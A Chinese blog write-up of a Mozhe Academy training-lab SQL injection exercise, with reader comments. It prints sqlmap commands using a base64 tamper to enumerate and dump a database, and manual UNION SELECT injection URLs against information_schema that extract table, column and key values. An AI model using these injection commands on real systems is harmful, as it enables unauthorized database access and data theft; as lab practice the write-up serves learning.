墨者学院 – SQL注入实战-MySQLWriteup

枫少@KillBoy
枫少@KillBoy
管理员
220
文章
0
粉丝
SQL注入5734,4011字数 328阅读1分5秒阅读模式
AI智能摘要
你是否以为SQL注入早已被防御得无懈可击?本文揭秘一道CTF实战题目的完整渗透路径,面对看似普通的参数“MQo=”,如何识破其Base64伪装并实施精准注入?不仅演示sqlmap配合tamper脚本的自动化突破,更还原手工盲注全过程:从判断注入点、猜字段数,到逐级爆出数据库名、表名与关键字段。这是一场教科书级的MySQL注入解剖,带你穿透编码迷雾,掌握实战中攻防对抗的核心逻辑。
— AI 生成的文章内容摘要

两种解法


一、利用sqlmap及其tamper模块base64encode使用

1. 看到id后面的参数可能是base64加密后的结果,我们尝试解密,解密结果为1

2.查看当前的系统信息

sqlmap -u "http://219.153.49.228:43371/show.php?id=MQo=" --tamper=base64encode

3.暴库

sqlmap -u "http://219.153.49.228:43371/show.php?id=MQo=" --tamper=base64encode --level=3 --current-db

4.爆表

sqlmap -u "http://219.153.49.228:43371/show.php?id=MQo=" --tables -D test

5.获取key

sqlmap -u "http://219.153.49.228:43371/show.php?id=MQo=" -T data --dump

二、盲注

首先可以看到该URL中存在一个参数“MQ==”,从参数的格式来看是通过了base64进行了加密,那么我们可以对其进行base64解密

发现解密之后的参数为1,这种类型的注入除了和我们以前的普通注入相比只是多了一个“base64”加密的过程,下面进行手工注入演示:

1、判断是否可以注入:
单引号测试

and 测试

由上判断可以得知存在SQL注入

2、猜解字段长度
order by  2

order by 3

可以猜到字段长度为2

3、爆数据库名、数据库版本信息

4、爆表名

http://219.153.49.228:48204/show.php?id=-1 union select TABLE_NAME,2 from information_schema.TABLES where TABLE_SCHEMA=0x74657374 limit 0,1--

5、爆字段名
http://219.153.49.228:48204/show.php?id=-1 union select COLUMN_NAME,2 from information_schema.COLUMNS where TABLE_NAME=0x64617461 limit 3,1

6、爆字段值
http://219.153.49.228:48204/show.php?id=-1 union select thekey,2 from test.data limit 0,1--

 
枫少@KillBoy
评论  57  访客  57
    • 无界魂
      无界魂 0

      base64加密的参数怎么解密啊?

        • 春节福星
          春节福星 1

          @ 无界魂 直接用Python的base64.b64decode()就行,一行代码

        • 小林音
          小林音 0

          盲注那部分看得有点懵

            • UranusSky
              UranusSky 1

              @ 小林音 手工注入步骤里order by 3会报错么,怎么判断字段长度是2

            • 碧纱笼月
              碧纱笼月 0

              之前也遇到过base64编码的注入点,折腾半天

                • Riri
                  Riri 0

                  @ 碧纱笼月 base64编码的参数解密后是1,这种注入点确实不好找

                • 宇宙之光
                  宇宙之光 0

                  这样注入会不会被WAF拦截啊?

                    • 薄暮低眠
                      薄暮低眠 0

                      @ 宇宙之光 这玩意儿真能绕过WAF?实测过吗?

                    • 蕙风吟
                      蕙风吟 1

                      CTF那张图还挺有感觉的

                      • 辣鸡小妹
                        辣鸡小妹 1

                        字段长度判断那块能再详细点吗

                        • Sisi
                          Sisi 0

                          手工注入步骤写得太简略了

                          • 高冷的雪豹
                            高冷的雪豹 1

                            用sqlmap爆库确实快,手工太费时间

                              • OceanusTide
                                OceanusTide 0

                                @ 高冷的雪豹 tamper模块还能这么用,以前只知道用sqlmap直接跑

                              • RiftWarden
                                RiftWarden 0

                                union select后面那个2是啥意思

                                  • 电弧使徒
                                    电弧使徒 0

                                    @ RiftWarden 随便填个数占位,只要不报错就行

                                  • 跳皮筋小王子
                                    跳皮筋小王子 1

                                    test数据库里就一个表吗?

                                    • SeleneMoon
                                      SeleneMoon 1

                                      这种实战步骤挺全的,适合新手照着复现

                                      • 星尘术士
                                        星尘术士 0

                                        union select后面的2是不是随便填个数字就行

                                        • 影子猫
                                          影子猫 0

                                          盲注没写payload啊,具体怎么猜解数据库名?

                                          • 幽兰秘法师
                                            幽兰秘法师 1

                                            图上的CTF旗帜挺带感的,玩过几次ctf,sql注入题确实多

                                              • 纸人抬轿
                                                纸人抬轿 1

                                                @ 幽兰秘法师 CTF氛围拉满了,想起被sql注入支配的日子😂

                                              • Didi
                                                Didi 0

                                                sqlmap爆表那个-D test,test是库名吧

                                                  • 天坛漫步
                                                    天坛漫步 0

                                                    @ Didi 对,-D后面跟的就是库名,test是目标库

                                                  • 星辰残影
                                                    星辰残影 0

                                                    手工注入太麻烦了,有现成工具为啥要手注😂

                                                    • 深空幽灵
                                                      深空幽灵 0

                                                      sqlmap这个tamper参数真方便👍

                                                        • 暴走机械师
                                                          暴走机械师 1

                                                          @ 深空幽灵 原来tamper还能这么用,省得自己写脚本了

                                                        • 暗界游侠
                                                          暗界游侠 1

                                                          手工注得太抽象了,payload都不给全

                                                            • NikeVictory
                                                              NikeVictory 0

                                                              @ 暗界游侠 payload不全确实挺耽误事的,得自己试

                                                            • 玉箫生
                                                              玉箫生 0

                                                              sqlmap是方便,但理解原理更重要

                                                              • 幽兰空谷
                                                                幽兰空谷 0

                                                                那个order by 2是怎么试出来的?

                                                                  • 墨色夜
                                                                    墨色夜 0

                                                                    @ 幽兰空谷 order by 2就是试字段数,加到报错为止

                                                                  • 书吏何
                                                                    书吏何 0

                                                                    base64解密直接用在线工具就行

                                                                    • 影子社交员
                                                                      影子社交员 0

                                                                      CTF比赛里这种题算基础款了

                                                                      • 梦回星尘
                                                                        梦回星尘 0

                                                                        我之前试过类似,结果被日志抓了

                                                                        • 腾蛇隐
                                                                          腾蛇隐 0

                                                                          盲注猜字段名得跑脚本吧,手动太累

                                                                          • GillGuru
                                                                            GillGuru 1

                                                                            tamper模块还能这么用,学到了

                                                                            • 烟波江上
                                                                              烟波江上 1

                                                                              手工注入那部分能跑通吗,感觉有点跳跃啊

                                                                              • 云朵小熊猫
                                                                                云朵小熊猫 1

                                                                                test库名是默认的?

                                                                                • 陨铁骑士
                                                                                  陨铁骑士 1

                                                                                  盲注那个猜解字段时间成本太高了吧

                                                                                  • 夜光独语
                                                                                    夜光独语 0

                                                                                    union select后面跟数字是占位用的吧?

                                                                                    • 甜筒小狗
                                                                                      甜筒小狗 0

                                                                                      这教程适合有点基础的,纯新手可能跟不上

                                                                                      • 无上君王
                                                                                        无上君王 0

                                                                                        sqlmap一把梭哈确实快,但比赛可能不让用

                                                                                        • 糖果小火车
                                                                                          糖果小火车 0

                                                                                          手工注入步骤确实跳得太多了,payload都省略了

                                                                                          • 江离落
                                                                                            江离落 0

                                                                                            盲注猜数据库名具体用啥函数啊?

                                                                                            • 可爱的仓鼠
                                                                                              可爱的仓鼠 0

                                                                                              sqlmap确实省事,但比赛练手还得手工

                                                                                              • 甜筒考拉
                                                                                                甜筒考拉 1

                                                                                                CTF图挺有那味儿的,想起了打比赛的日子

                                                                                                • 沙漠Sand
                                                                                                  沙漠Sand 0

                                                                                                  那个union select后面的数字是占位符吧?

                                                                                                  • 辐射信徒
                                                                                                    辐射信徒 0

                                                                                                    base64解密用burp就能直接解

                                                                                                      • 冷漠使者
                                                                                                        冷漠使者 0

                                                                                                        @ 辐射信徒 burp里选中参数右键decode就有,不用额外装插件

                                                                                                      • 咿哟哟
                                                                                                        咿哟哟 1

                                                                                                        手工注入太折腾了,有工具不用是跟自己过不去😂

                                                                                                        • 鬼面
                                                                                                          鬼面 1

                                                                                                          盲注部分能再详细点就好了

                                                                                                          • 梦回妖
                                                                                                            梦回妖 1

                                                                                                            test库是默认数据库吗?

                                                                                                            • 思维尘埃
                                                                                                              思维尘埃 0

                                                                                                              这种实战教程多来点,比纯理论有用

                                                                                                              • 大力金刚
                                                                                                                大力金刚 0

                                                                                                                手工注那步union select后面跟2是凑列数,不然会报错

                                                                                                                • 白兔糖糖
                                                                                                                  白兔糖糖 1

                                                                                                                  sqlmap跑得快但比赛不让用,练手还是得手注

                                                                                                                  • 夏野的风
                                                                                                                    夏野的风 1

                                                                                                                    之前搞过类似题,base64编码后注入点藏得挺深

                                                                                                                    • 灵异双瞳
                                                                                                                      灵异双瞳 0

                                                                                                                      这图一出来DNA动了,想起通宵打CTF的日子😭

                                                                                                                    匿名

                                                                                                                    发表评论

                                                                                                                    匿名网友

                                                                                                                    拖动滑块以完成验证